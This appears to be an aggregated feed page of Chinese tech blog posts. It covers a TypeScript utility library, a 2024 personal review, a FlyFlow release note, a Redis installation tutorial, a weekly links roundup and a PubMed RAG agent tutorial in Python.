 *  getChunkArray(a,3) // [[1,2,3],[4,5,6]]
 * let a={}
 *  getChunkArray(a,3) // params is not a array
 * ```
 */
export function getChunkArray (array:Array<any>, size:number = 1):Array<Array<any>> {
  if (!isArray(array)) {throw new TypeError('params is not a array');}
  let newArr:Array<any> = [];
  array.forEach((element, index) => {
    if (index % size === 0) {
      return newArr.push([element]);
    }
    return newArr.at(-1).push(element);
  });
  return newArr;
}

文件目录导出设计

这里将函数分为arraybooleancolorcommondatefileformatfunctionmaskmathnumberobjectstringsymbolweb这几个模块,使用export *语法用于重新导出一个模块的所有内容最终从入口文件将所有模块的函数进行导出。

image.png

模块设计

这里有ESM CJS IIFE 和dts

image.png

测试与质量保证

1. 单元测试

为了确保每个函数的正确性,我们会为每个函数编写单元测试。使用 Jest 等测试框架,我们可以方便地编写和运行测试用例,并且可以对测试结果进行可视化展示。

2. 代码覆盖率

代码覆盖率是衡量测试质量的一个重要指标。我们会努力提高代码的覆盖率,确保每个函数的每个分支都被测试到。

image.png

image.png

文档编写与发布

image.png

image.png

1. 文档生成

Robinson 的文档是通过自动化工具生成的。我们可以使用一些文档生成工具,TypeDoc,根据代码中的注释自动生成文档。同时,我们也会手动编写一些详细的使用说明和示例,帮助用户更好地理解和使用函数库。 这里使用 api-extractor 将dts生成json文件 api-documenter 将json文件转为md文件然后引入到vitepress中,使用自己开发的插件+函数脚本将文档目录进行生成出来,后面会合并为一个插件

2. 文档发布

由于文档发布需要先build dts 然后 api-extractor 将dts生成json文件 api-documenter 将json文件转为md文件然后引入到vitepress中所以需要跑很多条命令,这里使用node脚本进行统一发布

image.png image.png 生成的文档会发布到 GitHub Pages 上,方便用户在线查看。同时,我们也会在 NPM 包的 README 文件中提供文档的链接,让用户可以方便地找到文档。

npm 发布

这里跟文档发布一样也是使用node脚本进行发布

image.png image.png

社区支持与反馈

虽然目前 Robinson 主要是为个人使用,但我们也非常欢迎社区的反馈和贡献。用户可以通过 GitHub 的 Issue 系统提交问题和建议,我们会及时回复和处理。同时,我们也鼓励开发者参与到项目的开发中来,共同打造一个更好的前端函数库。

by 安利君_AnLijun at January 22, 2025 04:06 PM

juejin career

2024年度总结:启程、探索、坚持

2024年对于我来说是近几年来变化较大的一年。

开始了很多的新东西,开始了想了很久但是一直没有行动的写博客、公众号;开始听播客;去折腾ai,搞了AI写真、AI拆书、AI写作。

也继续坚持做一些事情,坚持每日的笔记;打卡微信读书365天挑战;坚持运动和调整饮食,减了37斤;坚持力扣周赛,上了Knight;

老婆把新家装的美美的,搬了新家;王者依旧很混;看了很多喜欢的综艺和电视剧。

装修

因为我不在成都,只能老婆多次和设计师沟通,中间要处理各种问题,装修真的是一个很辛苦的活。最终的效果超乎我的预期,也在1月初搬进了新家,此处非常感谢老婆!

0a0bfe1ef064fd9878a019550d13e5.jpg

读书

2023年底开始了365读书打卡的任务,一开始还是挺怀疑自己能否完成打卡挑战的,但想着给自己一点挑战,说不定就能达成。年初也加入了张拭心大佬的读书打卡群,每天会在群里面打卡,有这种打卡的氛围。某天确实不太想读书,但是因为有这种挑战,我心里面就会想着读5分钟就行,有时读完这5分钟,又不知不觉的读了下去,参加这个挑战确实会让你坚持。今年也是这几年读书时间最长的一年,也读完了30本书。

Pasted image 20250122214303.png

这里分享一下今年满喜欢的几本书。

《认知觉醒》感觉是一本缝合怪,融合了各种书籍的理念,因此也是一本比较系统的书籍。可以从各个角度去认清自己,改变自己。一些觉得比较有意思的点:

  • 不要试图用理智去战胜情绪,要用更大情绪去引导情绪。
  • 如果我们学会在舒适区边缘努力,那么收获的效果和信心就会完全不同。
  • 不要只追求学习的量,看似学了很多,可能最终没有学习内化成自己的知识,更重要的是将学到的东西变成直接的知识。
  • 元认知,对自己的认知进行思考,在思考的过程中,察觉到自己的想法,然后问自己“为什么会这样想”。
  • 不过度消耗自己,只要感到精力不足,就停下来主动休息,这反而使他们精力桶的水位得到快速回升。
  • 行动力最怕模糊 。
  • 懂得百点不如改变一点。真正的成长不在于自己懂得了多少道理,而在于自己改变了多少。
  • 这个世界的模样取决于我们看待它的角度
  • 早冥读写跑,人生五件套

《曾国藩传》曾国藩是一个善于复盘的人,每天都会写日记,写日记时要反思一整天的活动,不光是要逐一反思自己的行为,甚至要反思检查自己大脑中转过的每一个念头。 也正是因为他的善于复盘,他能够抓住问题的关键,找到展示困境的方法。此外他的执行能力也很强,践行王阳明的知行合一,只要他认准的,他就会排除一切干扰,争取一切机会,去将可能变成现实。

《蛤蟆去看心理医生》体察自己的情绪,去真正的爱自己~

《埃隆·马斯克传》之前就很崇拜马斯克,看完之后就更崇拜他了。读完之后,感受到下面他的这些品质,在成功路上有着很大的影响。1.信念感很强,疯狂到认为自己可以改变世界,并且真的改变了世界。 2.追寻事情的本质,用第一性原理去思考解决问题 3.关注每个细节,用五步工作法去优化这些细节。 4.抗压能力巨强,特斯拉,星链,离婚各种问题压在他身上,他都能够坚持过来。 5.做任何事业,都要找到一个可行的商业逻辑,保证后续能够持续发展。

《集装箱改变世界》之前完全没有想到一个普通的箱子,竟然能如此的重要,极大降低了全球货运成本,推动了全球化的进程。书中,集装箱的出现对于码头工人,很像今天chatgpt的出现对于我们,必然会导致一部分人的失业。但也可能因为效率的提升,让蛋糕做大,提升了需求。

王者荣耀

前两年因为去做了一个王者战队,花了不少时间,也花了不少精力。当然也在当队长的过程中,感受到一些领导或者创始人才会去思考的点,还是蛮有意思的。今年把战队转给新队长之后,自己感觉轻松 很多,战队也排名也进步了不少,之前的战队自己只能勉强上全国百强,现在在新队长的带领下还卡了一波全国季军战队。

线下看了fly 的比赛,可惜输了。希望fly还能再拿个冠军,可以看到那种到过顶峰,跌下来后还能再次登顶的励志故事。

之前游戏只拿混子英雄,今年也是练起了阿离,不过100多把还找不到伞。还得练啊~

Pasted image 20250122224301.png

减肥

这几年也是减了n次肥,今年终于成功了一把,187斤👉150斤。

现在每天起床第一件事称重,只要轻了一丢丢,自己就会正反馈满满,然后去公司爬坡半小时,晚上饮食稍微注意一下,希望接下来继续保持健康的身体,对家人和爱人负责!

Pasted image 20250122224628.png

影视

唐诡、十天之后回到现实、喜剧之王单口季、喜剧大会衍生的短剧也都追了一遍。看喜剧人的剧真的好解压

播客

因为喜单了解了杨天真的播客,顺便听了其他播客,纵横四海,Kotlin炉边漫谈等等。上下班,洗漱的时候听听播客,很放松,没听过播客的小伙伴真的强推。

Pasted image 20250122225001.png

算法周赛:

今年开始打周赛,好多算法都忘记,不过做出来那一刻,还是会很有成就感,上knight了,希望明年可以上瓜💪,感兴趣的朋友一起组队呀

Pasted image 20250122213731.png

折腾新东西

加入了一些付费的社群:生成有术、AI破局、刘卡卡创富基地...

  • 用Stable Diffusion训练lora模型做了ai写真,小红书吸引了一个咨询,暂时放弃;
  • 折腾了ai拆书,拆解了一些知识卡片,学到的东西后续用到了个人知识库管理里面了;
  • 折腾了ai写作,开始做公众号,还在坚持,完善自己的工作流。
  • 老婆也开始做小红书了,很佩服老婆,在小红书店铺上拿到了比较可观的收入。

写作

电脑上会用obsidian 记录一些东西,也能导入微信读书笔记,配合git 云同步也是十分方便。手机上用flomo 记一些想法也很方便。

想了好久也推延了好久的技术文章写作,今年也终于是在掘金开始了,目前Compose Multiplatform 之旅系列已经写了8篇,感兴趣的小伙伴可以去看看。

公众号的写作也跟着开始了,搞了5个公众号,有自己的技术公众号,读书公众号,还有尝试AI写作输出的公众号。

Pasted image 20250122225354.png

by droidHZ at January 22, 2025 03:13 PM

hackernews

oschina news project

🐍蛇年新春,FlyFlow 工作流焕然一新,助力高效办公!

🐍蛇年新春,FlyFlow 工作流焕然一新,助力高效办公!

FlyFlow-小哥
 FlyFlow-小哥
发布于 2025年01月22日22时49分00秒
收藏 5

亲爱的朋友们,蛇年新春的钟声即将敲响,新的一年,新的气象,新的征程!在这个充满希望的时刻,我们为各位带来了一个全新的惊喜——FlyFlow工作流重磅更新啦!🎉

🌟 全新UI版本发布,视觉与体验双重升级

新年新气象,FlyFlow工作流在蛇年新春之际,为大家带来了全新的UI版本。我们深知,良好的用户体验是高效工作的基础,因此我们精心设计了全新的界面,让操作更加流畅,视觉更加舒适。
  • ElementPlus和AntDesign双剑合璧:我们引入了ElementPlus和AntDesign两种主流的UI框架,满足不同用户的审美和操作习惯。无论是简洁大方的ElementPlus,还是精致优雅的AntDesign,都能在FlyFlow中找到属于你的那一份舒适与便捷。🎨

🚀 技术升级,拥抱SpringBoot3+Flowable7

技术的迭代是为了更好地服务用户。FlyFlow工作流紧跟时代步伐,全面支持SpringBoot3+Flowable7。这意味着更高的性能、更强的稳定性,以及更广泛的兼容性。无论你的项目多么复杂,FlyFlow都能轻松应对,为你的工作流程保驾护航。💪

🛠️ 优化功能,让操作更贴心

人员设置更灵活

在团队协作中,沟通是关键。FlyFlow优化了新增/编辑人员的功能,支持设置是否是钉钉、企微或者飞书账号。这意味着你可以根据团队的实际需求,有针对性地发送消息,确保信息能够精准触达每一位成员,提高工作效率。👥

权限管理更高效

我们取消了租户的同步功能,改为向租户赋权限。这一改变让权限管理更加灵活,操作更加便捷。你可以根据租户的实际需求,精准地分配权限,确保数据的安全性和操作的规范性。🛡️

数据处理更高效

为了提高系统的运行效率,我们对业务表的执行数据和连线数据进行了优化,同时将变量监听改为异步化。这意味着系统在处理大量数据时更加流畅,不会出现卡顿或延迟,让你的工作流程更加顺畅。🚀

🛠️ 修复问题,让系统更稳定

在之前的版本中,我们发现了一个小问题:当分支里的审批人是由其他节点指定时,页面会出现渲染异常。经过我们的努力,这个问题已经在新版本中得到了修复。现在,无论你的工作流多么复杂,页面都能正常渲染,让你的工作更加得心应手。🔧

🎉 蛇年新春,开启高效办公之旅

蛇年新春,万象更新。FlyFlow工作流的这次更新,不仅仅是技术的升级,更是对用户体验的深度优化。我们希望通过这些改变,能够帮助你在新的一年里,更加高效地完成工作,实现目标。
无论你是企业老板、项目经理,还是普通员工,FlyFlow都能成为你工作中的得力助手。让我们一起迎接新的一年,开启高效办公的新篇章!
最后,祝大家蛇年新春快乐,万事如意,工作顺利,生活美满!🎉

 

立即体验

  • 访问官网 www.flyflow.cc,了解更多关于 FlyFlow 的信息与案例。
  • 前往 ElementPlus 演示网址 pro.flyflow.cc,体验基于 ElementPlus 组件库构建的精美界面与流畅操作。
  • 访问 AntDesign 演示网址 ant.flyflow.cc,感受 AntDesign 风格带来的不同视觉享受与交互体验。

本站新闻禁止转载,违者依法追究相关法律责任。
本文标题:🐍蛇年新春,FlyFlow 工作流焕然一新,助力高效办公!
资讯来源:https://www.flyflow.cc

January 22, 2025 02:49 PM

juejin backend

二. Redis 超详细的安装教程((七步)一步一步指导,步步附有截屏操作步骤)

二. Redis 超详细的安装教程((七步)一步一步指导,步步附有截屏操作步骤)

@[toc]

1. Redis 详细安装教程

Redis 官方下载:redis.io/downloads/

在这里插入图片描述

在实际开发中 Redis 都在 Linux 下工作,

Linux 版本: Redis6。


安装步骤:

  1. 首先:Redis是基于c语言编写的,因此需要安装对应的 gcc C语言编译运行的软件。

可以执行:gcc --version 命令查看本地 Linux 当中是否安装大量 gcc

[root@localhost bin]# gcc --version

在这里插入图片描述

如果大家没有安装的话,可以执行:yum install gcc 命令,进行安装,安装 最新的 gcc

yum install gcc

安装完之后,可以,再次执行一下 gcc --version 命令查看 gcc 的版本信息,同时保证自己安装成功了。 注意: 执行该 yum install gcc 命令,成功的前提是,你的 Linux 是可以联网的,是在联网的状态下的,因为下载 gcc 是需要上网下载的。

  1. 下载 redis-6.2.6.tar.gz 上传到 Linux 环境的 /opt 目录 当中

如何将我们的Windows 系统当中的文件,上传到 Linux 指定的目录当中,可以配置使用 Xftp 这个软件。该软件的安装使用:大家可以移步至:🌟🌟🌟【参考韩顺平 一周学会 Linux 第 015 讲 https://www.bilibili.com/video/BV1Sv411r7vd?p=15&spm_id_from=333.788.videopod.episodes】

在这里插入图片描述

在这里插入图片描述

  1. 在 Linux 当中:进入到 /opt 目录,执行解压命令:tar -zxvf redis-6.2.6.tar.gz

因为我们通过 xftp 软件将,redis 安装包放到了 Linux 当中的 opt 目录当中了,我们需要进入到这个 opt 目录当中。

[root@localhost bin]# cd /opt/  #进入到 opt 目录当中

在这里插入图片描述

进入到 opt 目录当中后,执行 tar -zxvf redis-6.2.6.tar.gz 将 redis 安装包进行一个解压。(注意:一定要进入到你放置 redis 安装包的目录当中才行)。

[root@localhost opt]# tar -zxvf redis-6.2.6.tar.gz 

在这里插入图片描述

  1. 解压完成后, 进入目录:cd redis-6.2.6

大概 1 分钟后,就解压完成了,我们就会在当前 opt 目录当中,多出一个 redis-6.2.6 文件夹。

在这里插入图片描述

执行 cd redis-6.2.6 进入到该目录当中。

[root@localhost opt]# cd redis-6.2.6/

在这里插入图片描述

可以执行 ls 命令查看一下,该 redis-6.2.6目录下的文件内容。

[root@localhost redis-6.2.6]# ls

在这里插入图片描述

可以执行 ls -a 查看目录下的全部文件内容,包括隐藏文件等。

[root@localhost redis-6.2.6]# ls -a

在这里插入图片描述

  1. 在 redis-6.2.6 目录下, 执行 make 命令(编译指令)

当我们在 redis-6.2.6 目录下,执行 make 命令进行一个编译:

注意: 如 果 没 有 准 备 好 C 语 言 编 译 环 境 , make 会 报 错 —Jemalloc/jemalloc.h:没有那个文件。解决方案:运行 make distclean , 再执行 make 指令即可。

[root@localhost redis-6.2.6]# make

在这里插入图片描述

  1. 执行: make install, 进行安装
[root@localhost redis-6.2.6]# make install

在这里插入图片描述

  1. 到此,安装 OK , 安装目录在 /usr/local/bin

查看默认安装目录:执行 cd /usr/local/bin 命令进入到该安装目录当中。

[root@localhost redis-6.2.6]# cd /usr/local/bin

在这里插入图片描述

redis-benchmark:性能测试工具,可以在自己机器运行,看看自己机器性能如何
redis-check-aof:修复有问题的 AOF 文件,rdb 和 aof 后面讲
redis-check-dump:修复有问题的 dump.rdb 文件
redis-sentinel:Redis 集群使用
redis-server:Redis 服务器启动命令
redis-cli:客户端,操作入口
  • redis-benchmark:性能测试工具,可以在自己机器运行,看看自己机器性能如何
  • redis-check-aof:修复有问题的 AOF 文件,rdb 和 aof 后面讲
  • redis-check-dump:修复有问题的 dump.rdb 文件
  • redis-sentinel:Redis 集群使用
  • redis-server:Redis 服务器启动命令
  • redis-cli:客户端,操作入口

到此我们的 Reids 就成安装完毕了,接下来就是,该如何启动 Reids 以及,如何使用 Redis 的操作了

2. Redis 后台基本启动 & 详细的基本使用

  1. 拷贝一份redis.conf到其他目录, 比如 /etc 目录, 注意执行保证能够定位到 redis.conf cp redis.conf /etc/redis.conf
[root@localhost bin]# redis.conf cp redis.conf /etc/redis.conf

在这里插入图片描述

  1. 修改/etc/redis.conf 后台启动设置 daemonize no 改成 yes, 并保存退出.

我们可以通过 vim 工具,执行 vim /etc/redis.conf 进去,也可以用 vi 工具:执行 vi /etc/redis.conf

[root@localhost bin]# vim /etc/redis.conf

在这里插入图片描述

shift + / 输入 daemonize
查找“字符串”。按 n 查找下一个

在这里插入图片描述

按键盘 i ,进入
插入模式,
将 no 改为 yes

在这里插入图片描述

说明: 设置 daemonize no 改成 yes, 表示让 Reids 可以在后台运行,而不是,退出了 Redis ,Reids 服务就退出了。(Reids 有两个,一个是 Reids 客户端,一个是 Redis 服务。Reids 客户端退出了,Reids 服务不一定要退出)。

修改完毕后,按 ESC ,再按 : 
Shift+:,输入 wq ,表示
保存并退出。

在这里插入图片描述

  1. Redis 启动 注意保证能定位,redis-server /etc/redis.conf 启动 :redis-server· 指令
[root@localhost local]# redis-server /etc/redis.conf # 启动 redis 服务器

在这里插入图片描述

  1. 查看 redis 是否后台启动成
[root@localhost local]# ps -aux | grep redis

redis 的默认端口是 6379

在这里插入图片描述

  1. 访问 redis 客户端。
[root@localhost local]# redis-cli  // 表示访问 redis 客户端

注意: 没有执行redis-server /etc/redis.conf 将 Reids 服务器启动的话,你是无法进入到 Redis 客户端的。所以,进入 Redis 客户端的前提条件就是,Redis 服务器是启动的,不可以关闭。

在这里插入图片描述

在 Redis 客户端当中,执行 ping 操作,测试 Redis 是否可以正常运行。

127.0.0.1:6379> ping
PONG

在这里插入图片描述

3. Redis 服务器的关闭和启动的注意事项

quit 退出 Redis客户端

not connected> quit

启动 Redis 服务器的命令:

[root@localhost bin]# redis-server /etc/redis.conf

在这里插入图片描述

Redis 服务器关闭的三种方式:

  • 第一种方式:在进入到了 Redis 客户端后,执行 shutdown 命令。

在这里插入图片描述

通过ps -aux | grep redis 命令,查看/监听 Redis 服务器是否关闭了。

[root@localhost local]# ps -aux | grep redis # 查看监听的端口。

在这里插入图片描述

  • 第二种方式:不在 Redis 客户端页面,也可以关闭 Redis 服务

通过 [root@localhost ~]# redis-cli shutdown 命令关闭, Redis 服务

[root@localhost ~]# redis-cli shutdown

在这里插入图片描述

在这里插入图片描述

  • 第三种方式:多实例关闭,指定端口关闭:redis-cli -p 6379 shutdown 。重点掌握这种方式,因为在不同的公司,对应的 Redis 服务的端口,不一定用的就是默认的 6379端口。
[root@localhost bin]# redis-cli -p 6379 shutdown

在这里插入图片描述

在这里插入图片描述

启动 Redis 客户端 / 进入 Redis 客户端的两种方式:

  • 第一种方式:不指明 Redis 客户端的端口,采用默认的 6379 端口,在 Redis 默认端口仍然为 6379 的情况下才是可以使用该命令的。
[root@localhost bin]# redis-cli
  • 第二种方式:指明 Redis 客户端的端口,如果 Redis 端口被修改了,则必须采用这种方式才能启动/进入到 Redis 客户端。(前提是 Redis 服务器是启动的)
[root@localhost bin]# redis-cli -p 6379

在这里插入图片描述

4. 如何修改 Redis 默认的端口

关于 Redis 默认端口配置的修改,是在我们上述配置的 /etc/redis.conf 当值,配置的。

如下图所示:通过 `vim 进入到 /etc/redis.conf 文件当中,并进行编辑,修改 端口。

[root@localhost bin]# vim /etc/redis.conf

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

N(大写) 表示向上找

n(小写) 表示向下找

在这里插入图片描述

注意:这时候我们的端口就不再是 6379了,而是 6399了,启动 Redis客户端(不是服务器),就必须指明 Redis 端口了,不然是无法启动 Redis 客户端的(同时前提是 Redis 服务器已经启动了才行)

在这里插入图片描述

在这里插入图片描述

[root@localhost bin]# redis-cli -p 6399

在这里插入图片描述

5. 补充:Redis 系统目录

redis.cls
 ; redis-server, 这两个命令在: /usr/local/bin
路径下,
可我们在其它路径下/目录下
也可以执行 redis.cls
 ; redis-server命令呢

在这里插入图片描述

我们可以执行一下 env 命令。查看 Linux 系统目录,路径的命令。

[root@localhost bin]# env

在这里插入图片描述

我们可以清楚的看到: /usr/local/bin 
是在 PATH ** 记录下的。PATH 是 Linux 当中的一个系统环境/系统目录。当我们在 Linux 当中,每次敲的每个命令** 。都是会在这个 PATH记录的路径下去找,对应的命令 。如果在该 PATH 记录的路径下找不到该命令,则会包命令错误。

这就跟我们 Windows 当中的 PATH 配置Java系统环境变量的是一样的道理。关于这一点:想要了解更多的大家可以移步至:🌟🌟🌟 Tomcat 的安装以及其中配置环境原理的详细说明_tomcat环境-CSDN博客

在这里插入图片描述

6. 最后:

“在这个最后的篇章中,我要表达我对每一位读者的感激之情。你们的关注和回复是我创作的动力源泉,我从你们身上吸取了无尽的灵感与勇气。我会将你们的鼓励留在心底,继续在其他的领域奋斗。感谢你们,我们总会在某个时刻再次相遇。”

在这里插入图片描述

by RainbowSea at January 22, 2025 02:46 PM

juejin article

每周见闻分享:2025-01-12 - 2025-01-19

欢迎关注我的公众号【 此方的手帐 】与你分享见闻与感想。

工具

1、Ice - Menu Bar Manager[^1]

标签:Tools,Mac

Mac 的 menu bar 小工具,拯救因刘海屏显示不下的小图标。之前用过 Hidden。但 Hidden 展开后对被刘海挡住的部分还是无能为力。而 Ice 则直接把隐藏的图标展示到 menu bar 下面,避免了这个问题。

Screenshot 2025-01-19 at 21.30.05.png

2、Input Source Pro[^2]

标签:Tools,Mac

当前输入法提示的小工具,还可以定制 APP 的默认输入法。对于工作时在 Teams 和编辑器之间来回切换很有用。

3、用Slea.ai免费AI Logo生成器轻松创建专业Logo[^5]

标签:Tools

免费生成 AI Logo 的工具网站。对不擅长设计的开发者会有所帮助。


Coding

1、Benchmarking GraphQL solutions in the JS/TS landscape[^3]

标签:JavaScript,Node.js,GraphQL

针对 GraphQL 在不同的 Node.js 运行时(Node、Bun、Deno)和不同框架(Nest、Fastify、Express)下的性能测试。作者详细列举了 GraphQL 的技术栈、框架的选择以及测试方式。

结论: 按照 NestJS 教程搭建的 GraphQL Server 的性能最差。 Fastify + mercurius + graphql-jit 在 Node.js 的运行时下的组合性能最佳,并且解析器对性能的影响十分严重,能降低 80% 性能。只有必要时才应该开启。

2、CSS-only infinite scrolling carousel animation · Logto blog[^6]

标签:CSS,前端

纯 CSS 实现的无限滚动效果,支持鼠标悬浮暂停。通过 Flex + animation 组合实现。文章讲的很好,一步一步配合示例代码十分易懂。感兴趣的小伙伴可以看看。现代 CSS 比起当年做前端时能做的太多了。


其他

1、胖东来是非学不可了 | 虹线[^4]

标签:思考

从另一个角度分析了胖东来出圈的原因。重点讲了胖东来是如何成为“神话”的原因。时代的变化凸显了胖东来的存在,有一种潮水褪去后的感觉。

胖东来模式在上一个时代是不合时宜的,它更像是下一个时代的最优解,即宏观存量市场下的微观无杠杆经营。

在上一个时代,注定了不用杠杆打不过用杠杆的,毕竟无论是拿地、选品还是招聘,你的竞争对手只要想都能以无视经济规律,“不计商业成本”的方式与你竞争。

但在下一个去杠杆时代,一切都会反转,不用杠杆能活下来是第一位,能经营好则能胜出。这才是胖东来“优秀了20年”,这么晚才“出圈”的原因。

分析的很有意思,值得详细一读。


参考文章:

by 无责任此方_修行中 at January 22, 2025 02:34 PM

juejin freebie

从基础到进阶:通过AI Agents检索生物医学摘要 (二)

这是本系列的第二部分,我们将构建一个基于RAG(Retrieval-Augmented Generation,检索增强生成)技术的AI Agents,用于回答使用人员的问题并与文献摘要进行对话。

在上一部分中,我们已经搭建了Streamlit的用户界面和聊天界面,现在我们将围绕从PubMed数据库获取相关的生物医学文献摘要构建逻辑,依据使用人员提出的自然语言问题进行搜索。同时,我们将在这个过程中使用大型语言模型(LLM)来增强我们的PubMed搜索结果!

提醒一下,这是我们将在系列中构建的解决方案:

image.png

问题陈述

在我们的AI Agents用户界面中,将提供一个输入框,供相关人员提出问题。以下是一些示例问题:

  • 在过去五年中,使用单克隆抗体治疗阿尔茨海默病取得了哪些重要进展?
  • 三阴性乳腺癌的最新治疗方法有哪些?
  • 人工智能在诊断放射学中的应用有哪些近期进展?

借助大型语言模型(LLM),我们将把这些专业问题转化为PubMed查询,并从中检索相关的文献摘要。这些摘要将作为基础,帮助Agents基于生物医学数据进行问题回答。

构建过程

已完成步骤概览

  • 如果您还没有完成上一部分的内容,请务必先完成,因为我们将在此基础上继续构建。在上一部分的最后,我们的项目结构如下所示:
.
├── app
│ ├── app.py
│ ├── components
│ │ ├── chat_utils.py
│ │ ├── llm.py
│ │ └── prompts.py
│ └── tests
│ └── test_chat_utils.py
├── assets
│ └── m.png
│ └── favicon32-32.ico
└── environment
  └── requirements.txt

安装的依赖

在这一部分,我们将使用一些额外的依赖,除了上一部分中已经安装的依赖外。 下面是我们新添加到 requirements.txt 文件中的依赖列表:

pydantic==2.8.2
metapub==0.5.12

创建新的模块“backend”

  • 在本文中,我们将在 /app 子文件夹下构建一个新的模块,并命名为backend
  • 今天我们将要构建的项目部分如下所示:
.
└── app
    ├── app.py
    └── backend
       ├── abstract_retrieval
       │   ├── interface.py
       │   ├── pubmed_retriever.py
       │   └── pubmed_query_simplification.py
       │   └── translation_query.py
       └── data_repository
           └── models.py

app/backend/data_repository

  • 为了实现数据层的抽象,我们将使用data_repository 模块。在这个模块中,我们将定义数据模型以及与数据库交互的逻辑(关于数据库交互的具体实现将在序列三中详细讲解)。

models.py

  • models.py 文件中,我们将为生物医学文献摘要创建一个数据模型。这个模型将存储文献摘要的基本信息,包括标题、DOI、作者、出版年份和摘要内容(title, doi, authors, year, abstract_content)。我们使用 Pydantic 库来定义这个模型。
from typing import Optional
from pydantic import BaseModel

class ScientificAbstract(BaseModel):
    doi: Optional[str]
    title: Optional[str]
    authors: Optional[list]
    year: Optional[int]
    abstract_content: str

Pydantic 是我在处理代码中的数据层时最喜欢的库!想了解更多关于 Pydantic 的好处,可以查看官方解释

  • 这个数据模型将与选择的(向量)数据库类型无关。关于数据库以及如何构建向量索引,我们将在本系列的第三篇中进行详细讨论。

app/backend/abstract_retrieval

abstract_retrieval 模块将包含文献摘要检索的相关逻辑。

interface.py

  • interface.py 文件的作用是将文献摘要检索客户端与其具体实现(如 pubmed_retriever.py)解耦。
  • 这样做是为了让我们的解决方案更具可扩展性,以便将来可以轻松增加其他文献来源,比如维基百科或 Scopus。通过这种方式,我们可以保证应用在未来更容易维护和扩展,同时确保文献摘要检索的输入和输出保持一致,尽管实际的检索实现会有所不同。
from abc import ABC, abstractmethod
from typing import List
from backend.data_repository.models import ScientificAbstract


class AbstractRetriever(ABC):

    @abstractmethod
    def get_abstract_data(self, scientist_question: str) -> List[ScientificAbstract]:
        """ Retrieve a list of scientific abstracts based on a given query. """
        raise NotImplementedError

pubmed_retriever.py

  • 这个.py文件包含了AbstractRetriever抽象类的具体实现。
  • 我们使用metapub库来帮助通过其 API 执行 PubMed 搜索和文献摘要获取。
from typing import List
import time
import random
from metapub import PubMedFetcher
from backend.data_repository.models import ScientificAbstract
from backend.abstract_retrieval.interface import AbstractRetriever
from backend.abstract_retrieval.pubmed_query_simplification import simplify_pubmed_query
from config.logging_config import get_logger


class PubMedAbstractRetriever(AbstractRetriever):
    def __init__(self, pubmed_fetch_object: PubMedFetcher):
        # 初始化 PubMedFetch 对象和日志记录器
        self.pubmed_fetch_object = pubmed_fetch_object
        self.logger = get_logger(__name__)

    def _get_abstract_list(self, query: str, simplify_query: bool = True) -> List[str]:
        # 获取给定查询的 PubMed ID 列表
        if simplify_query:
            # 如果需要简化查询,则简化查询
            self.logger.info(f'尝试简化使用人员查询 {query}')
            query_simplified = self._simplify_pubmed_query(query)

            if query_simplified != query:
                self.logger.info(f'初始查询已简化为: {query_simplified}')
                query = query_simplified
            else:
                self.logger.info('初始查询已经足够简单,无需简化')

        self.logger.info(f'正在搜索查询: {query}')
        return self.pubmed_fetch_object.pmids_for_query(query)

    def _get_abstracts(self, pubmed_ids: List[str]) -> List[ScientificAbstract]:
        # 获取 PubMed 文摘 
        self.logger.info(f'正在获取以下 PubMed ID 的文摘数据: {pubmed_ids}')
        scientific_abstracts = []

        for id in pubmed_ids:
            initial_delay = 1  # 初始延迟时间(秒)
            max_attempts = 10  # 最大尝试次数
            success = False  # 标记是否成功获取文摘

            for attempt in range(max_attempts):
                try:
                    # 尝试获取文摘
                    abstract = self.pubmed_fetch_object.article_by_pmid(id)

                    # 如果文摘内容为 None,跳过当前 PubMed ID
                    if abstract.abstract is None:
                        self.logger.warning(f'PubMed ID {id} 未找到文摘,跳过...')
                        continue

                    # 处理 authors 字段,确保它是一个列表
                    authors = abstract.authors
                    if isinstance(authors, str):  # 如果是字符串,将其分割为列表
                        authors = authors.split(', ')

                    # 创建 ScientificAbstract 对象
                    abstract_formatted = ScientificAbstract(
                        doi=abstract.doi,
                        title=abstract.title,
                        authors=authors,  # 传递作者列表
                        year=abstract.year,
                        abstract_content=abstract.abstract
                    )

                    scientific_abstracts.append(abstract_formatted)
                    success = True
                    break

                except Exception as e:
                    # 如果请求失败,进行指数退避和随机延时
                    wait_time = initial_delay * (2 ** attempt) + random.uniform(0, 1)
                    self.logger.warning(f'PubMed ID {id} 的重试 {attempt + 1} 失败. 错误信息: {e}. {wait_time:.2f} 秒后重试...')
                    time.sleep(wait_time)

            if not success:
                # 如果达到最大尝试次数仍未成功,记录错误
                self.logger.error(f'在尝试 {max_attempts} 次后,仍未成功获取 PubMed ID {id} 的文摘')

        self.logger.info(f'共获取到 {len(scientific_abstracts)} 条文摘数据')
        return scientific_abstracts

    def get_abstract_data(self, scientist_question: str, simplify_query: bool = True) -> List[ScientificAbstract]:
        # 获取使用人员查询的文摘列表
        pmids = self._get_abstract_list(scientist_question, simplify_query)  # 获取 PubMed ID 列表
        abstracts = self._get_abstracts(pmids)  # 获取对应的文摘
        return abstracts
  • metapub 库中的 pmids_for_query 方法将根据用户输入的自由形式查询(例如:‘牙齿龋齿与骨质疏松症的关系是什么’)来搜索相关的文献摘要。
  • PubMed 搜索引擎背后使用了一个知识图谱,它会自动扩展查询,返回查询关键词的同义词,然后将这些同义词转化为具体的 PubMed 查询。
  • 然后,article_by_pmid 方法(通过 _get_abstracts 封装)会根据给定的 PubMed ID(pmid)获取对应的文献摘要。
  • 您可以尝试执行代码,使用任何您选择的查询来测试,比如:
pubmed_fetch = PubMedAbstractRetriever(PubMedFetcher())
abstracts = pubmed_fetch.get_abstract_data('what is the relationship between dental cavities and osteoporosis')

for abstract in abstracts:
    print(f'doi: {abstract.doi} \n title: {abstract.title} \n author: {abstract.authors} \n content:{abstract.abstract_content} \n \n')

translation_query.py

  • 由于PubMed 只支持英文搜索,我们需要一个翻译的功能,负责把用户输入翻译成英文
from langchain_core.prompts import PromptTemplate
from components.llm import llm


def translation_chain(scientist_question: str) -> str:
    """ 中文输出翻译成英文 """
    prompt_formatted_str = translation_prompt.format(question=scientist_question)
    return llm.invoke(prompt_formatted_str).content


translation_prompt = PromptTemplate.from_template("""
  You are an expert in biomedical terminology. Your task is to translate the following Chinese question into English, ensuring the correct use of scientific and medical terms. Please focus on preserving the meaning and accurately translating any biomedical concepts.

  Chinese Question: {question}
""")

通过 LLM 优化 PubMed 查询

  • 有时,用户的查询可能会比较长或者复杂。例如,考虑这个问题:

在过去五年中,使用单克隆抗体治疗阿尔茨海默病有任何重大进展吗?

